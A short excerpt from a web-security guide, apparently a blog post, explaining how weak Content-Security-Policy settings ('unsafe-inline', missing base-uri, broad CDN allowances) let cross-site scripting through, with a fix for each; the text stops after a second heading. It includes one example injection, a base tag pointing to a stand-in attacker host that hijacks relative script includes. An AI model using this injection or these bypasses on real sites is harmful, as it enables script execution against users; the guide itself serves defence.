Adding a Content-Security-Policy header checks a compliance box, but keeping 'unsafe-inline' or broad https: sources to stop widgets from breaking quietly neutralizes its primary XSS defense.
1. Three Real-World CSP Bypasses
script-src 'self' 'unsafe-inline' : Permits injected inline <script> blocks and onerror handlers. Replace with per-request nonces ( 'nonce-...' ) + 'strict-dynamic' .
Missing base-uri & object-src 'none' : Without base-uri 'self' , an injected <base href="https://attacker.example/"> hijacks every relative script include on the page.
Broad CDNs / https: in script-src : Allowing entire public CDNs lets attackers load arbitrary JSONP endpoints or older libraries with gadgets.
2.…